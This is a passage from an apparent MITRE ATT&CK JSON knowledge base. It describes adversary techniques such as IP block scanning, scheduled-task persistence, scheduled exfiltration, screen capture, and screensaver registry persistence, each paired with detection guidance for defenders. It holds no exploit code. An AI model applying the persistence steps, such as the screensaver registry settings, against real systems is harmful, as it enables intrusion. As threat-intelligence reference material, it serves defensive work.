            "modified": "2021-04-15T03:49:49.260Z",
            "created": "2020-10-02T17:00:44.586Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1595.001",
                    "url": "https://attack.mitre.org/techniques/T1595/001"
                },
                {
                    "source_name": "Botnet Scan",
                    "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf",
                    "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Scanning IP Blocks",
            "description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "id": "attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:19:38.469Z",
            "created": "2020-10-02T16:54:23.193Z",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "created": "2019-11-27T14:58:00.429Z",
            "modified": "2020-12-30T14:26:44.730Z",
            "kill_chain_phases": [
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                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1053.005",
                    "url": "https://attack.mitre.org/techniques/T1053/005"
                },
                {
                    "url": "https://twitter.com/leoloobeek/status/939248813465853953",
                    "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.",
                    "source_name": "Twitter Leoloobeek Scheduled Task"
                },
                {
                    "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
                    "source_name": "TechNet Forum Scheduled Task Operational Setting"
                },
                {
                    "url": "https://technet.microsoft.com/library/dd315590.aspx",
                    "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
                    "source_name": "TechNet Scheduled Task Events"
                },
                {
                    "source_name": "Microsoft Scheduled Task Events Win10",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events",
                    "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019."
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Scheduled Task",
            "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The <code>schtasks</code> can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).",
            "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_remote_support": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Creation",
                "Command: Command Execution",
                "File: File Modification",
                "Process: Process Creation"
            ],
            "x_mitre_platforms": [
                "Windows"
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        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Scheduled Task/Job",
            "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1053",
                    "url": "https://attack.mitre.org/techniques/T1053"
                },
                {
                    "external_id": "CAPEC-557",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/557.html"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx",
                    "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.",
                    "source_name": "TechNet Task Scheduler Security"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
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                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-04-20T16:31:11.405Z",
            "created": "2017-05-31T21:30:46.977Z",
            "x_mitre_platforms": [
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                "Linux",
                "macOS",
                "Containers"
            ],
            "x_mitre_remote_support": true,
            "x_mitre_effective_permissions": [
                "SYSTEM",
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                "User"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "User"
            ],
            "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Container: Container Creation",
                "Scheduled Job: Scheduled Job Creation",
                "Command: Command Execution",
                "File: File Modification",
                "Process: Process Creation"
            ],
            "x_mitre_contributors": [
                "Prashant Verma, Paladion",
                "Leo Loobeek, @leoloobeek",
                "Travis Smith, Tripwire",
                "Alain Homewood, Insomnia Security"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_is_subtechnique": false
        },
        {
            "created": "2017-05-31T21:30:34.139Z",
            "modified": "2020-03-28T00:26:48.769Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1029",
                    "external_id": "T1029"
                }
            ],
            "description": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
            "name": "Scheduled Transfer",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1113",
                    "url": "https://attack.mitre.org/techniques/T1113"
                },
                {
                    "external_id": "CAPEC-648",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/648.html"
                },
                {
                    "source_name": "CopyFromScreen .NET",
                    "url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8",
                    "description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020."
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "source_name": "Antiquated Mac Malware"
                }
            ],
            "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n",
            "name": "Screen Capture",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2020-03-24T19:56:37.627Z",
            "created": "2017-05-31T21:31:25.060Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
            "name": "Screensaver",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1180",
                    "url": "https://attack.mitre.org/techniques/T1180"
                },
                {
                    "source_name": "Wikipedia Screensaver",
                    "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Screensaver"
                },
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T13:51:47.990Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.002",
                    "url": "https://attack.mitre.org/techniques/T1546/002"
                },
                {
                    "source_name": "Wikipedia Screensaver",
                    "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Screensaver"
                },
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Screensaver",
            "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)",
            "id": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-23T12:23:04.955Z",
            "created": "2020-01-24T13:51:01.210Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "File: File Creation",
                "File: File Modification"
            ],
            "x_mitre_contributors": [
                "Bartosz Jerzman"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "revoked": false,
            "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Scripting",
            "description": "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1064",
                    "url": "https://attack.mitre.org/techniques/T1064"
                },
                {
                    "source_name": "Metasploit_Ref",
                    "description": "Metasploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "http://www.metasploit.com"
                },
                {
                    "url": "https://www.veil-framework.com/framework/",
                    "description": "Veil Framework. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Veil_Ref"
                },
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                },
                {
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "source_name": "Alperovitch 2014"
                },
                {
                    "url": "https://www.uperesia.com/analyzing-malicious-office-documents",
                    "description": "Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.",
                    "source_name": "Uperesia Malicious Office Documents"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-03-30T13:39:24.852Z",
            "created": "2017-05-31T21:30:51.733Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)",
            "x_mitre_defense_bypassed": [
                "Process whitelisting",
                "Data Execution Prevention",
                "Exploit Prevention"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_deprecated": true
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1597",
                    "url": "https://attack.mitre.org/techniques/T1597"
                },
                {
                    "source_name": "D3Secutrity CTI Feeds",
                    "url": "https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/",
                    "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020."
                },
                {
                    "source_name": "ZDNET Selling Data",
                    "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/",
                    "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Search Closed Sources",
            "description": "Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
            "id": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:45:31.020Z",
            "created": "2020-10-02T17:01:42.558Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1593.002",
                    "url": "https://attack.mitre.org/techniques/T1593/002"
                },
                {
                    "source_name": "SecurityTrails Google Hacking",
                    "url": "https://securitytrails.com/blog/google-hacking-techniques",
                    "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020."
                },
                {
                    "source_name": "ExploitDB GoogleHacking",
                    "url": "https://www.exploit-db.com/google-hacking-database",
                    "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Search Engines",
            "description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:52:06.960Z",
            "created": "2020-10-02T16:50:12.809Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1596",
                    "url": "https://attack.mitre.org/techniques/T1596"
                },
                {
                    "source_name": "WHOIS",
                    "url": "https://www.whois.net/",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."
                },
                {
                    "source_name": "DNS Dumpster",
                    "url": "https://dnsdumpster.com/",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Circl Passive DNS",
                    "url": "https://www.circl.lu/services/passive-dns/",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Medium SSL Cert",
                    "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2",
                    "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020."
                },
                {
                    "source_name": "SSLShopper Lookup",
                    "url": "https://www.sslshopper.com/ssl-checker.html",
                    "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020."
                },
                {
                    "source_name": "DigitalShadows CDN",
                    "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/",
                    "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Shodan",
                    "url": "https://shodan.io",
                    "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Search Open Technical Databases",
            "description": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "id": "attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:50:44.308Z",
            "created": "2020-10-02T16:56:05.810Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1593",
